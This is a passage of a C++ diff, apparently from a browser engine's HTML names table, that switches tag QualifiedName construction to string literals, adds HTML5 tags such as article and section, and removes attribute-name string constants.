-    new ((void*)&abbrTag) QualifiedName(nullAtom, abbrTagString, xhtmlNS);
-    new ((void*)&acronymTag) QualifiedName(nullAtom, acronymTagString, xhtmlNS);
-    new ((void*)&addressTag) QualifiedName(nullAtom, addressTagString, xhtmlNS);
-    new ((void*)&appletTag) QualifiedName(nullAtom, appletTagString, xhtmlNS);
-    new ((void*)&areaTag) QualifiedName(nullAtom, areaTagString, xhtmlNS);
-    new ((void*)&audioTag) QualifiedName(nullAtom, audioTagString, xhtmlNS);
-    new ((void*)&bTag) QualifiedName(nullAtom, bTagString, xhtmlNS);
-    new ((void*)&baseTag) QualifiedName(nullAtom, baseTagString, xhtmlNS);
-    new ((void*)&basefontTag) QualifiedName(nullAtom, basefontTagString, xhtmlNS);
-    new ((void*)&bdoTag) QualifiedName(nullAtom, bdoTagString, xhtmlNS);
-    new ((void*)&bigTag) QualifiedName(nullAtom, bigTagString, xhtmlNS);
-    new ((void*)&blockquoteTag) QualifiedName(nullAtom, blockquoteTagString, xhtmlNS);
-    new ((void*)&bodyTag) QualifiedName(nullAtom, bodyTagString, xhtmlNS);
-    new ((void*)&brTag) QualifiedName(nullAtom, brTagString, xhtmlNS);
-    new ((void*)&buttonTag) QualifiedName(nullAtom, buttonTagString, xhtmlNS);
-    new ((void*)&canvasTag) QualifiedName(nullAtom, canvasTagString, xhtmlNS);
-    new ((void*)&captionTag) QualifiedName(nullAtom, captionTagString, xhtmlNS);
-    new ((void*)&centerTag) QualifiedName(nullAtom, centerTagString, xhtmlNS);
-    new ((void*)&citeTag) QualifiedName(nullAtom, citeTagString, xhtmlNS);
-    new ((void*)&codeTag) QualifiedName(nullAtom, codeTagString, xhtmlNS);
-    new ((void*)&colTag) QualifiedName(nullAtom, colTagString, xhtmlNS);
-    new ((void*)&colgroupTag) QualifiedName(nullAtom, colgroupTagString, xhtmlNS);
-    new ((void*)&datagridTag) QualifiedName(nullAtom, datagridTagString, xhtmlNS);
-    new ((void*)&datalistTag) QualifiedName(nullAtom, datalistTagString, xhtmlNS);
-    new ((void*)&dcellTag) QualifiedName(nullAtom, dcellTagString, xhtmlNS);
-    new ((void*)&dcolTag) QualifiedName(nullAtom, dcolTagString, xhtmlNS);
-    new ((void*)&ddTag) QualifiedName(nullAtom, ddTagString, xhtmlNS);
-    new ((void*)&delTag) QualifiedName(nullAtom, delTagString, xhtmlNS);
-    new ((void*)&dfnTag) QualifiedName(nullAtom, dfnTagString, xhtmlNS);
-    new ((void*)&dirTag) QualifiedName(nullAtom, dirTagString, xhtmlNS);
-    new ((void*)&divTag) QualifiedName(nullAtom, divTagString, xhtmlNS);
-    new ((void*)&dlTag) QualifiedName(nullAtom, dlTagString, xhtmlNS);
-    new ((void*)&drowTag) QualifiedName(nullAtom, drowTagString, xhtmlNS);
-    new ((void*)&dtTag) QualifiedName(nullAtom, dtTagString, xhtmlNS);
-    new ((void*)&emTag) QualifiedName(nullAtom, emTagString, xhtmlNS);
-    new ((void*)&embedTag) QualifiedName(nullAtom, embedTagString, xhtmlNS);
-    new ((void*)&fieldsetTag) QualifiedName(nullAtom, fieldsetTagString, xhtmlNS);
-    new ((void*)&fontTag) QualifiedName(nullAtom, fontTagString, xhtmlNS);
-    new ((void*)&formTag) QualifiedName(nullAtom, formTagString, xhtmlNS);
-    new ((void*)&frameTag) QualifiedName(nullAtom, frameTagString, xhtmlNS);
-    new ((void*)&framesetTag) QualifiedName(nullAtom, framesetTagString, xhtmlNS);
-    new ((void*)&h1Tag) QualifiedName(nullAtom, h1TagString, xhtmlNS);
-    new ((void*)&h2Tag) QualifiedName(nullAtom, h2TagString, xhtmlNS);
-    new ((void*)&h3Tag) QualifiedName(nullAtom, h3TagString, xhtmlNS);
-    new ((void*)&h4Tag) QualifiedName(nullAtom, h4TagString, xhtmlNS);
-    new ((void*)&h5Tag) QualifiedName(nullAtom, h5TagString, xhtmlNS);
-    new ((void*)&h6Tag) QualifiedName(nullAtom, h6TagString, xhtmlNS);
-    new ((void*)&headTag) QualifiedName(nullAtom, headTagString, xhtmlNS);
-    new ((void*)&hrTag) QualifiedName(nullAtom, hrTagString, xhtmlNS);
-    new ((void*)&htmlTag) QualifiedName(nullAtom, htmlTagString, xhtmlNS);
-    new ((void*)&iTag) QualifiedName(nullAtom, iTagString, xhtmlNS);
-    new ((void*)&iframeTag) QualifiedName(nullAtom, iframeTagString, xhtmlNS);
-    new ((void*)&imageTag) QualifiedName(nullAtom, imageTagString, xhtmlNS);
-    new ((void*)&imgTag) QualifiedName(nullAtom, imgTagString, xhtmlNS);
-    new ((void*)&inputTag) QualifiedName(nullAtom, inputTagString, xhtmlNS);
-    new ((void*)&insTag) QualifiedName(nullAtom, insTagString, xhtmlNS);
-    new ((void*)&isindexTag) QualifiedName(nullAtom, isindexTagString, xhtmlNS);
-    new ((void*)&kbdTag) QualifiedName(nullAtom, kbdTagString, xhtmlNS);
-    new ((void*)&keygenTag) QualifiedName(nullAtom, keygenTagString, xhtmlNS);
-    new ((void*)&labelTag) QualifiedName(nullAtom, labelTagString, xhtmlNS);
-    new ((void*)&layerTag) QualifiedName(nullAtom, layerTagString, xhtmlNS);
-    new ((void*)&legendTag) QualifiedName(nullAtom, legendTagString, xhtmlNS);
-    new ((void*)&liTag) QualifiedName(nullAtom, liTagString, xhtmlNS);
-    new ((void*)&linkTag) QualifiedName(nullAtom, linkTagString, xhtmlNS);
-    new ((void*)&listingTag) QualifiedName(nullAtom, listingTagString, xhtmlNS);
-    new ((void*)&mapTag) QualifiedName(nullAtom, mapTagString, xhtmlNS);
-    new ((void*)&marqueeTag) QualifiedName(nullAtom, marqueeTagString, xhtmlNS);
-    new ((void*)&menuTag) QualifiedName(nullAtom, menuTagString, xhtmlNS);
-    new ((void*)&metaTag) QualifiedName(nullAtom, metaTagString, xhtmlNS);
-    new ((void*)&navTag) QualifiedName(nullAtom, navTagString, xhtmlNS);
-    new ((void*)&nobrTag) QualifiedName(nullAtom, nobrTagString, xhtmlNS);
-    new ((void*)&noembedTag) QualifiedName(nullAtom, noembedTagString, xhtmlNS);
-    new ((void*)&noframesTag) QualifiedName(nullAtom, noframesTagString, xhtmlNS);
-    new ((void*)&nolayerTag) QualifiedName(nullAtom, nolayerTagString, xhtmlNS);
-    new ((void*)&noscriptTag) QualifiedName(nullAtom, noscriptTagString, xhtmlNS);
-    new ((void*)&objectTag) QualifiedName(nullAtom, objectTagString, xhtmlNS);
-    new ((void*)&olTag) QualifiedName(nullAtom, olTagString, xhtmlNS);
-    new ((void*)&optgroupTag) QualifiedName(nullAtom, optgroupTagString, xhtmlNS);
-    new ((void*)&optionTag) QualifiedName(nullAtom, optionTagString, xhtmlNS);
-    new ((void*)&pTag) QualifiedName(nullAtom, pTagString, xhtmlNS);
-    new ((void*)&paramTag) QualifiedName(nullAtom, paramTagString, xhtmlNS);
-    new ((void*)&plaintextTag) QualifiedName(nullAtom, plaintextTagString, xhtmlNS);
-    new ((void*)&preTag) QualifiedName(nullAtom, preTagString, xhtmlNS);
-    new ((void*)&qTag) QualifiedName(nullAtom, qTagString, xhtmlNS);
-    new ((void*)&rpTag) QualifiedName(nullAtom, rpTagString, xhtmlNS);
-    new ((void*)&rtTag) QualifiedName(nullAtom, rtTagString, xhtmlNS);
-    new ((void*)&rubyTag) QualifiedName(nullAtom, rubyTagString, xhtmlNS);
-    new ((void*)&sTag) QualifiedName(nullAtom, sTagString, xhtmlNS);
-    new ((void*)&sampTag) QualifiedName(nullAtom, sampTagString, xhtmlNS);
-    new ((void*)&scriptTag) QualifiedName(nullAtom, scriptTagString, xhtmlNS);
-    new ((void*)&selectTag) QualifiedName(nullAtom, selectTagString, xhtmlNS);
-    new ((void*)&smallTag) QualifiedName(nullAtom, smallTagString, xhtmlNS);
-    new ((void*)&sourceTag) QualifiedName(nullAtom, sourceTagString, xhtmlNS);
-    new ((void*)&spanTag) QualifiedName(nullAtom, spanTagString, xhtmlNS);
-    new ((void*)&strikeTag) QualifiedName(nullAtom, strikeTagString, xhtmlNS);
-    new ((void*)&strongTag) QualifiedName(nullAtom, strongTagString, xhtmlNS);
-    new ((void*)&styleTag) QualifiedName(nullAtom, styleTagString, xhtmlNS);
-    new ((void*)&subTag) QualifiedName(nullAtom, subTagString, xhtmlNS);
-    new ((void*)&supTag) QualifiedName(nullAtom, supTagString, xhtmlNS);
-    new ((void*)&tableTag) QualifiedName(nullAtom, tableTagString, xhtmlNS);
-    new ((void*)&tbodyTag) QualifiedName(nullAtom, tbodyTagString, xhtmlNS);
-    new ((void*)&tdTag) QualifiedName(nullAtom, tdTagString, xhtmlNS);
-    new ((void*)&textareaTag) QualifiedName(nullAtom, textareaTagString, xhtmlNS);
-    new ((void*)&tfootTag) QualifiedName(nullAtom, tfootTagString, xhtmlNS);
-    new ((void*)&thTag) QualifiedName(nullAtom, thTagString, xhtmlNS);
-    new ((void*)&theadTag) QualifiedName(nullAtom, theadTagString, xhtmlNS);
-    new ((void*)&titleTag) QualifiedName(nullAtom, titleTagString, xhtmlNS);
-    new ((void*)&trTag) QualifiedName(nullAtom, trTagString, xhtmlNS);
-    new ((void*)&ttTag) QualifiedName(nullAtom, ttTagString, xhtmlNS);
-    new ((void*)&uTag) QualifiedName(nullAtom, uTagString, xhtmlNS);
-    new ((void*)&ulTag) QualifiedName(nullAtom, ulTagString, xhtmlNS);
-    new ((void*)&varTag) QualifiedName(nullAtom, varTagString, xhtmlNS);
-    new ((void*)&videoTag) QualifiedName(nullAtom, videoTagString, xhtmlNS);
-    new ((void*)&wbrTag) QualifiedName(nullAtom, wbrTagString, xhtmlNS);
-    new ((void*)&xmpTag) QualifiedName(nullAtom, xmpTagString, xhtmlNS);
+    new ((void*)&aTag) QualifiedName(nullAtom, "a", xhtmlNS);
+    new ((void*)&abbrTag) QualifiedName(nullAtom, "abbr", xhtmlNS);
+    new ((void*)&acronymTag) QualifiedName(nullAtom, "acronym", xhtmlNS);
+    new ((void*)&addressTag) QualifiedName(nullAtom, "address", xhtmlNS);
+    new ((void*)&appletTag) QualifiedName(nullAtom, "applet", xhtmlNS);
+    new ((void*)&areaTag) QualifiedName(nullAtom, "area", xhtmlNS);
+    new ((void*)&articleTag) QualifiedName(nullAtom, "article", xhtmlNS);
+    new ((void*)&asideTag) QualifiedName(nullAtom, "aside", xhtmlNS);
+    new ((void*)&audioTag) QualifiedName(nullAtom, "audio", xhtmlNS);
+    new ((void*)&bTag) QualifiedName(nullAtom, "b", xhtmlNS);
+    new ((void*)&baseTag) QualifiedName(nullAtom, "base", xhtmlNS);
+    new ((void*)&basefontTag) QualifiedName(nullAtom, "basefont", xhtmlNS);
+    new ((void*)&bdoTag) QualifiedName(nullAtom, "bdo", xhtmlNS);
+    new ((void*)&bigTag) QualifiedName(nullAtom, "big", xhtmlNS);
+    new ((void*)&blockquoteTag) QualifiedName(nullAtom, "blockquote", xhtmlNS);
+    new ((void*)&bodyTag) QualifiedName(nullAtom, "body", xhtmlNS);
+    new ((void*)&brTag) QualifiedName(nullAtom, "br", xhtmlNS);
+    new ((void*)&buttonTag) QualifiedName(nullAtom, "button", xhtmlNS);
+    new ((void*)&canvasTag) QualifiedName(nullAtom, "canvas", xhtmlNS);
+    new ((void*)&captionTag) QualifiedName(nullAtom, "caption", xhtmlNS);
+    new ((void*)&centerTag) QualifiedName(nullAtom, "center", xhtmlNS);
+    new ((void*)&citeTag) QualifiedName(nullAtom, "cite", xhtmlNS);
+    new ((void*)&codeTag) QualifiedName(nullAtom, "code", xhtmlNS);
+    new ((void*)&colTag) QualifiedName(nullAtom, "col", xhtmlNS);
+    new ((void*)&colgroupTag) QualifiedName(nullAtom, "colgroup", xhtmlNS);
+    new ((void*)&datagridTag) QualifiedName(nullAtom, "datagrid", xhtmlNS);
+    new ((void*)&datalistTag) QualifiedName(nullAtom, "datalist", xhtmlNS);
+    new ((void*)&dcellTag) QualifiedName(nullAtom, "dcell", xhtmlNS);
+    new ((void*)&dcolTag) QualifiedName(nullAtom, "dcol", xhtmlNS);
+    new ((void*)&ddTag) QualifiedName(nullAtom, "dd", xhtmlNS);
+    new ((void*)&delTag) QualifiedName(nullAtom, "del", xhtmlNS);
+    new ((void*)&dfnTag) QualifiedName(nullAtom, "dfn", xhtmlNS);
+    new ((void*)&dirTag) QualifiedName(nullAtom, "dir", xhtmlNS);
+    new ((void*)&divTag) QualifiedName(nullAtom, "div", xhtmlNS);
+    new ((void*)&dlTag) QualifiedName(nullAtom, "dl", xhtmlNS);
+    new ((void*)&drowTag) QualifiedName(nullAtom, "drow", xhtmlNS);
+    new ((void*)&dtTag) QualifiedName(nullAtom, "dt", xhtmlNS);
+    new ((void*)&emTag) QualifiedName(nullAtom, "em", xhtmlNS);
+    new ((void*)&embedTag) QualifiedName(nullAtom, "embed", xhtmlNS);
+    new ((void*)&fieldsetTag) QualifiedName(nullAtom, "fieldset", xhtmlNS);
+    new ((void*)&fontTag) QualifiedName(nullAtom, "font", xhtmlNS);
+    new ((void*)&footerTag) QualifiedName(nullAtom, "footer", xhtmlNS);
+    new ((void*)&formTag) QualifiedName(nullAtom, "form", xhtmlNS);
+    new ((void*)&frameTag) QualifiedName(nullAtom, "frame", xhtmlNS);
+    new ((void*)&framesetTag) QualifiedName(nullAtom, "frameset", xhtmlNS);
+    new ((void*)&h1Tag) QualifiedName(nullAtom, "h1", xhtmlNS);
+    new ((void*)&h2Tag) QualifiedName(nullAtom, "h2", xhtmlNS);
+    new ((void*)&h3Tag) QualifiedName(nullAtom, "h3", xhtmlNS);
+    new ((void*)&h4Tag) QualifiedName(nullAtom, "h4", xhtmlNS);
+    new ((void*)&h5Tag) QualifiedName(nullAtom, "h5", xhtmlNS);
+    new ((void*)&h6Tag) QualifiedName(nullAtom, "h6", xhtmlNS);
+    new ((void*)&headTag) QualifiedName(nullAtom, "head", xhtmlNS);
+    new ((void*)&headerTag) QualifiedName(nullAtom, "header", xhtmlNS);
+    new ((void*)&hgroupTag) QualifiedName(nullAtom, "hgroup", xhtmlNS);
+    new ((void*)&hrTag) QualifiedName(nullAtom, "hr", xhtmlNS);
+    new ((void*)&htmlTag) QualifiedName(nullAtom, "html", xhtmlNS);
+    new ((void*)&iTag) QualifiedName(nullAtom, "i", xhtmlNS);
+    new ((void*)&iframeTag) QualifiedName(nullAtom, "iframe", xhtmlNS);
+    new ((void*)&imageTag) QualifiedName(nullAtom, "image", xhtmlNS);
+    new ((void*)&imgTag) QualifiedName(nullAtom, "img", xhtmlNS);
+    new ((void*)&inputTag) QualifiedName(nullAtom, "input", xhtmlNS);
+    new ((void*)&insTag) QualifiedName(nullAtom, "ins", xhtmlNS);
+    new ((void*)&isindexTag) QualifiedName(nullAtom, "isindex", xhtmlNS);
+    new ((void*)&kbdTag) QualifiedName(nullAtom, "kbd", xhtmlNS);
+    new ((void*)&keygenTag) QualifiedName(nullAtom, "keygen", xhtmlNS);
+    new ((void*)&labelTag) QualifiedName(nullAtom, "label", xhtmlNS);
+    new ((void*)&layerTag) QualifiedName(nullAtom, "layer", xhtmlNS);
+    new ((void*)&legendTag) QualifiedName(nullAtom, "legend", xhtmlNS);
+    new ((void*)&liTag) QualifiedName(nullAtom, "li", xhtmlNS);
+    new ((void*)&linkTag) QualifiedName(nullAtom, "link", xhtmlNS);
+    new ((void*)&listingTag) QualifiedName(nullAtom, "listing", xhtmlNS);
+    new ((void*)&mapTag) QualifiedName(nullAtom, "map", xhtmlNS);
+    new ((void*)&marqueeTag) QualifiedName(nullAtom, "marquee", xhtmlNS);
+    new ((void*)&menuTag) QualifiedName(nullAtom, "menu", xhtmlNS);
+    new ((void*)&metaTag) QualifiedName(nullAtom, "meta", xhtmlNS);
+    new ((void*)&navTag) QualifiedName(nullAtom, "nav", xhtmlNS);
+    new ((void*)&nobrTag) QualifiedName(nullAtom, "nobr", xhtmlNS);
+    new ((void*)&noembedTag) QualifiedName(nullAtom, "noembed", xhtmlNS);
+    new ((void*)&noframesTag) QualifiedName(nullAtom, "noframes", xhtmlNS);
+    new ((void*)&nolayerTag) QualifiedName(nullAtom, "nolayer", xhtmlNS);
+    new ((void*)&noscriptTag) QualifiedName(nullAtom, "noscript", xhtmlNS);
+    new ((void*)&objectTag) QualifiedName(nullAtom, "object", xhtmlNS);
+    new ((void*)&olTag) QualifiedName(nullAtom, "ol", xhtmlNS);
+    new ((void*)&optgroupTag) QualifiedName(nullAtom, "optgroup", xhtmlNS);
+    new ((void*)&optionTag) QualifiedName(nullAtom, "option", xhtmlNS);
+    new ((void*)&pTag) QualifiedName(nullAtom, "p", xhtmlNS);
+    new ((void*)&paramTag) QualifiedName(nullAtom, "param", xhtmlNS);
+    new ((void*)&plaintextTag) QualifiedName(nullAtom, "plaintext", xhtmlNS);
+    new ((void*)&preTag) QualifiedName(nullAtom, "pre", xhtmlNS);
+    new ((void*)&progressTag) QualifiedName(nullAtom, "progress", xhtmlNS);
+    new ((void*)&qTag) QualifiedName(nullAtom, "q", xhtmlNS);
+    new ((void*)&rpTag) QualifiedName(nullAtom, "rp", xhtmlNS);
+    new ((void*)&rtTag) QualifiedName(nullAtom, "rt", xhtmlNS);
+    new ((void*)&rubyTag) QualifiedName(nullAtom, "ruby", xhtmlNS);
+    new ((void*)&sTag) QualifiedName(nullAtom, "s", xhtmlNS);
+    new ((void*)&sampTag) QualifiedName(nullAtom, "samp", xhtmlNS);
+    new ((void*)&scriptTag) QualifiedName(nullAtom, "script", xhtmlNS);
+    new ((void*)&sectionTag) QualifiedName(nullAtom, "section", xhtmlNS);
+    new ((void*)&selectTag) QualifiedName(nullAtom, "select", xhtmlNS);
+    new ((void*)&smallTag) QualifiedName(nullAtom, "small", xhtmlNS);
+    new ((void*)&sourceTag) QualifiedName(nullAtom, "source", xhtmlNS);
+    new ((void*)&spanTag) QualifiedName(nullAtom, "span", xhtmlNS);
+    new ((void*)&strikeTag) QualifiedName(nullAtom, "strike", xhtmlNS);
+    new ((void*)&strongTag) QualifiedName(nullAtom, "strong", xhtmlNS);
+    new ((void*)&styleTag) QualifiedName(nullAtom, "style", xhtmlNS);
+    new ((void*)&subTag) QualifiedName(nullAtom, "sub", xhtmlNS);
+    new ((void*)&supTag) QualifiedName(nullAtom, "sup", xhtmlNS);
+    new ((void*)&tableTag) QualifiedName(nullAtom, "table", xhtmlNS);
+    new ((void*)&tbodyTag) QualifiedName(nullAtom, "tbody", xhtmlNS);
+    new ((void*)&tdTag) QualifiedName(nullAtom, "td", xhtmlNS);
+    new ((void*)&textareaTag) QualifiedName(nullAtom, "textarea", xhtmlNS);
+    new ((void*)&tfootTag) QualifiedName(nullAtom, "tfoot", xhtmlNS);
+    new ((void*)&thTag) QualifiedName(nullAtom, "th", xhtmlNS);
+    new ((void*)&theadTag) QualifiedName(nullAtom, "thead", xhtmlNS);
+    new ((void*)&titleTag) QualifiedName(nullAtom, "title", xhtmlNS);
+    new ((void*)&trTag) QualifiedName(nullAtom, "tr", xhtmlNS);
+    new ((void*)&ttTag) QualifiedName(nullAtom, "tt", xhtmlNS);
+    new ((void*)&uTag) QualifiedName(nullAtom, "u", xhtmlNS);
+    new ((void*)&ulTag) QualifiedName(nullAtom, "ul", xhtmlNS);
+    new ((void*)&varTag) QualifiedName(nullAtom, "var", xhtmlNS);
+    new ((void*)&videoTag) QualifiedName(nullAtom, "video", xhtmlNS);
+    new ((void*)&wbrTag) QualifiedName(nullAtom, "wbr", xhtmlNS);
+    new ((void*)&xmpTag) QualifiedName(nullAtom, "xmp", xhtmlNS);
     // Attributes
-    const char *abbrAttrString = "abbr";
-    const char *acceptAttrString = "accept";
-    const char *accept_charsetAttrString = "accept-charset";
-    const char *accesskeyAttrString = "accesskey";
-    const char *actionAttrString = "action";
-    const char *alignAttrString = "align";
-    const char *alinkAttrString = "alink";
-    const char *altAttrString = "alt";
-    const char *archiveAttrString = "archive";
-    const char *aria_activedescendantAttrString = "aria-activedescendant";
-    const char *aria_checkedAttrString = "aria-checked";
-    const char *aria_describedbyAttrString = "aria-describedby";
-    const char *aria_disabledAttrString = "aria-disabled";
-    const char *aria_hiddenAttrString = "aria-hidden";
-    const char *aria_labelAttrString = "aria-label";
-    const char *aria_labeledbyAttrString = "aria-labeledby";
-    const char *aria_labelledbyAttrString = "aria-labelledby";
-    const char *aria_levelAttrString = "aria-level";
-    const char *aria_pressedAttrString = "aria-pressed";
-    const char *aria_readonlyAttrString = "aria-readonly";
-    const char *aria_requiredAttrString = "aria-required";
-    const char *aria_valuemaxAttrString = "aria-valuemax";
-    const char *aria_valueminAttrString = "aria-valuemin";
-    const char *aria_valuenowAttrString = "aria-valuenow";
-    const char *aria_valuetextAttrString = "aria-valuetext";
-    const char *autobufferAttrString = "autobuffer";
-    const char *autocompleteAttrString = "autocomplete";
-    const char *autofocusAttrString = "autofocus";
-    const char *autoplayAttrString = "autoplay";
-    const char *autosaveAttrString = "autosave";
-    const char *axisAttrString = "axis";
-    const char *backgroundAttrString = "background";
-    const char *behaviorAttrString = "behavior";
-    const char *bgcolorAttrString = "bgcolor";
-    const char *bgpropertiesAttrString = "bgproperties";
-    const char *borderAttrString = "border";
-    const char *bordercolorAttrString = "bordercolor";
-    const char *cellborderAttrString = "cellborder";
-    const char *cellpaddingAttrString = "cellpadding";
-    const char *cellspacingAttrString = "cellspacing";
-    const char *challengeAttrString = "challenge";
-    const char *charAttrString = "char";
-    const char *charoffAttrString = "charoff";
-    const char *charsetAttrString = "charset";
-    const char *checkedAttrString = "checked";
-    const char *citeAttrString = "cite";
-    const char *classidAttrString = "classid";
-    const char *clearAttrString = "clear";
-    const char *codeAttrString = "code";
-    const char *codebaseAttrString = "codebase";
-    const char *codetypeAttrString = "codetype";
-    const char *colorAttrString = "color";
-    const char *colsAttrString = "cols";
-    const char *colspanAttrString = "colspan";
-    const char *compactAttrString = "compact";
-    const char *compositeAttrString = "composite";
-    const char *contentAttrString = "content";
-    const char *contenteditableAttrString = "contenteditable";
-    const char *controlsAttrString = "controls";
-    const char *coordsAttrString = "coords";
-    const char *dataAttrString = "data";
-    const char *datetimeAttrString = "datetime";
-    const char *declareAttrString = "declare";
-    const char *deferAttrString = "defer";
-    const char *dirAttrString = "dir";
-    const char *directionAttrString = "direction";
-    const char *disabledAttrString = "disabled";
-    const char *draggableAttrString = "draggable";
-    const char *enctypeAttrString = "enctype";
-    const char *endAttrString = "end";
-    const char *expandedAttrString = "expanded";
-    const char *faceAttrString = "face";
-    const char *focusedAttrString = "focused";
-    const char *forAttrString = "for";
-    const char *formnovalidateAttrString = "formnovalidate";
-    const char *frameAttrString = "frame";
-    const char *frameborderAttrString = "frameborder";
-    const char *headersAttrString = "headers";
-    const char *heightAttrString = "height";
-    const char *hiddenAttrString = "hidden";
-    const char *hrefAttrString = "href";
-    const char *hreflangAttrString = "hreflang";
-    const char *hspaceAttrString = "hspace";
-    const char *http_equivAttrString = "http-equiv";
-    const char *idAttrString = "id";
-    const char *incrementalAttrString = "incremental";
-    const char *indeterminateAttrString = "indeterminate";
-    const char *ismapAttrString = "ismap";
-    const char *keytypeAttrString = "keytype";
-    const char *labelAttrString = "label";
-    const char *langAttrString = "lang";
-    const char *languageAttrString = "language";
-    const char *leftmarginAttrString = "leftmargin";
-    const char *linkAttrString = "link";
-    const char *listAttrString = "list";
-    const char *longdescAttrString = "longdesc";
-    const char *loopAttrString = "loop";
-    const char *loopendAttrString = "loopend";
-    const char *loopstartAttrString = "loopstart";
-    const char *lowsrcAttrString = "lowsrc";
-    const char *manifestAttrString = "manifest";
-    const char *marginheightAttrString = "marginheight";
-    const char *marginwidthAttrString = "marginwidth";
-    const char *maxAttrString = "max";
-    const char *maxlengthAttrString = "maxlength";
-    const char *mayscriptAttrString = "mayscript";
-    const char *mediaAttrString = "media";
-    const char *methodAttrString = "method";
-    const char *minAttrString = "min";
-    const char *multipleAttrString = "multiple";
-    const char *nameAttrString = "name";
-    const char *nohrefAttrString = "nohref";
-    const char *noresizeAttrString = "noresize";
-    const char *noshadeAttrString = "noshade";
-    const char *novalidateAttrString = "novalidate";
-    const char *nowrapAttrString = "nowrap";
-    const char *objectAttrString = "object";
-    const char *onabortAttrString = "onabort";
-    const char *onbeforecopyAttrString = "onbeforecopy";
-    const char *onbeforecutAttrString = "onbeforecut";
-    const char *onbeforeloadAttrString = "onbeforeload";
-    const char *onbeforepasteAttrString = "onbeforepaste";
-    const char *onbeforeunloadAttrString = "onbeforeunload";
-    const char *onblurAttrString = "onblur";
-    const char *oncanplayAttrString = "oncanplay";
-    const char *oncanplaythroughAttrString = "oncanplaythrough";
-    const char *onchangeAttrString = "onchange";
-    const char *onclickAttrString = "onclick";
-    const char *oncontextmenuAttrString = "oncontextmenu";
-    const char *oncopyAttrString = "oncopy";
-    const char *oncutAttrString = "oncut";
-    const char *ondblclickAttrString = "ondblclick";
-    const char *ondragAttrString = "ondrag";
-    const char *ondragendAttrString = "ondragend";
-    const char *ondragenterAttrString = "ondragenter";
-    const char *ondragleaveAttrString = "ondragleave";
-    const char *ondragoverAttrString = "ondragover";
-    const char *ondragstartAttrString = "ondragstart";
-    const char *ondropAttrString = "ondrop";
-    const char *ondurationchangeAttrString = "ondurationchange";
-    const char *onemptiedAttrString = "onemptied";
-    const char *onendedAttrString = "onended";
-    const char *onerrorAttrString = "onerror";
-    const char *onfocusAttrString = "onfocus";
-    const char *onhashchangeAttrString = "onhashchange";
-    const char *oninputAttrString = "oninput";
-    const char *oninvalidAttrString = "oninvalid";
-    const char *onkeydownAttrString = "onkeydown";
-    const char *onkeypressAttrString = "onkeypress";
-    const char *onkeyupAttrString = "onkeyup";
-    const char *onloadAttrString = "onload";
-    const char *onloadeddataAttrString = "onloadeddata";
-    const char *onloadedmetadataAttrString = "onloadedmetadata";
-    const char *onloadstartAttrString = "onloadstart";
-    const char *onmousedownAttrString = "onmousedown";
-    const char *onmousemoveAttrString = "onmousemove";
-    const char *onmouseoutAttrString = "onmouseout";
-    const char *onmouseoverAttrString = "onmouseover";
-    const char *onmouseupAttrString = "onmouseup";
-    const char *onmousewheelAttrString = "onmousewheel";
-    const char *onofflineAttrString = "onoffline";
-    const char *ononlineAttrString = "ononline";
-    const char *onorientationchangeAttrString = "onorientationchange";
-    const char *onpagehideAttrString = "onpagehide";
-    const char *onpageshowAttrString = "onpageshow";
-    const char *onpasteAttrString = "onpaste";
-    const char *onpauseAttrString = "onpause";
-    const char *onplayAttrString = "onplay";
-    const char *onplayingAttrString = "onplaying";
-    const char *onprogressAttrString = "onprogress";
-    const char *onratechangeAttrString = "onratechange";
-    const char *onresetAttrString = "onreset";
-    const char *onresizeAttrString = "onresize";
-    const char *onscrollAttrString = "onscroll";
-    const char *onsearchAttrString = "onsearch";
-    const char *onseekedAttrString = "onseeked";
-    const char *onseekingAttrString = "onseeking";
-    const char *onselectAttrString = "onselect";
-    const char *onselectstartAttrString = "onselectstart";
-    const char *onstalledAttrString = "onstalled";
-    const char *onstorageAttrString = "onstorage";
-    const char *onsubmitAttrString = "onsubmit";
-    const char *onsuspendAttrString = "onsuspend";
-    const char *ontimeupdateAttrString = "ontimeupdate";
-    const char *onunloadAttrString = "onunload";
-    const char *onvolumechangeAttrString = "onvolumechange";
-    const char *onwaitingAttrString = "onwaiting";
-    const char *onwebkitanimationendAttrString = "onwebkitanimationend";
-    const char *onwebkitanimationiterationAttrString = "onwebkitanimationiteration";
-    const char *onwebkitanimationstartAttrString = "onwebkitanimationstart";
-    const char *onwebkittransitionendAttrString = "onwebkittransitionend";
-    const char *patternAttrString = "pattern";
-    const char *placeholderAttrString = "placeholder";
-    const char *playcountAttrString = "playcount";
-    const char *pluginurlAttrString = "pluginurl";
-    const char *posterAttrString = "poster";
-    const char *precisionAttrString = "precision";
-    const char *primaryAttrString = "primary";
-    const char *profileAttrString = "profile";
-    const char *progressAttrString = "progress";
-    const char *promptAttrString = "prompt";
-    const char *readonlyAttrString = "readonly";
-    const char *relAttrString = "rel";
-    const char *requiredAttrString = "required";
-    const char *resultsAttrString = "results";
-    const char *revAttrString = "rev";
-    const char *roleAttrString = "role";
-    const char *rowsAttrString = "rows";
-    const char *rowspanAttrString = "rowspan";
-    const char *rulesAttrString = "rules";
-    const char *schemeAttrString = "scheme";
-    const char *scopeAttrString = "scope";
-    const char *scrollamountAttrString = "scrollamount";
-    const char *scrolldelayAttrString = "scrolldelay";
-    const char *scrollingAttrString = "scrolling";
-    const char *selectedAttrString = "selected";
-    const char *shapeAttrString = "shape";
-    const char *sizeAttrString = "size";
-    const char *sortableAttrString = "sortable";
-    const char *sortdirectionAttrString = "sortdirection";
-    const char *spanAttrString = "span";
-    const char *spellcheckAttrString = "spellcheck";
-    const char *srcAttrString = "src";
-    const char *standbyAttrString = "standby";
-    const char *startAttrString = "start";
-    const char *styleAttrString = "style";
-    const char *summaryAttrString = "summary";
-    const char *tabindexAttrString = "tabindex";
-    const char *tableborderAttrString = "tableborder";
-    const char *targetAttrString = "target";
-    const char *textAttrString = "text";
-    const char *titleAttrString = "title";
-    const char *topAttrString = "top";
-    const char *topmarginAttrString = "topmargin";
-    const char *truespeedAttrString = "truespeed";
-    const char *typeAttrString = "type";
-    const char *usemapAttrString = "usemap";
-    const char *valignAttrString = "valign";
-    const char *valueAttrString = "value";
-    const char *valuetypeAttrString = "valuetype";
-    const char *versionAttrString = "version";
-    const char *viewsourceAttrString = "viewsource";
-    const char *vlinkAttrString = "vlink";
-    const char *vspaceAttrString = "vspace";
-    const char *widthAttrString = "width";
-    const char *wrapAttrString = "wrap";
-    new ((void*)&abbrAttr) QualifiedName(nullAtom, abbrAttrString, nullAtom);
-    new ((void*)&acceptAttr) QualifiedName(nullAtom, acceptAttrString, nullAtom);
